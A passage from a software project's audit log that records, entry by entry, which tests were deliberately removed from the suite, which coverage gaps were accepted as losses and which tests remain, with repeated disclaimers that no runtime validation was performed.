and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous account (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous account (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous account (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous account (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous account (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous account (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous account (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Independently remove one authored/finite Playwright closed-gate app-boot inventory: accept loss of real renderer/preload/main refusal composition, saved-host row and Add/Move hiding/Remove visibility alarms. Keep the unchanged scripted-move rendered dialog lifecycle/reload case. It runs no real WSL migration, host connection, file copy or automation restoration. No selector or Playwright participation cleanup is required because the spec remains. Previous account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. Broad root-unit discovery loses whole cross-client workspace-sync, terminal-preview, picker-skill-hint and close-routing suites plus reduced worker-stop, remote-owned-record, scanner, mobile-bundle and daemon-health samples. Separate E2E discovery also loses the paired mobile/desktop mirror journey and two unit drivers. Retained callback/table/outer-loop/guard bytes are exact; retained checks do not replace the removed alarms. No app, native device, mixed-version, remote or cross-platform execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, 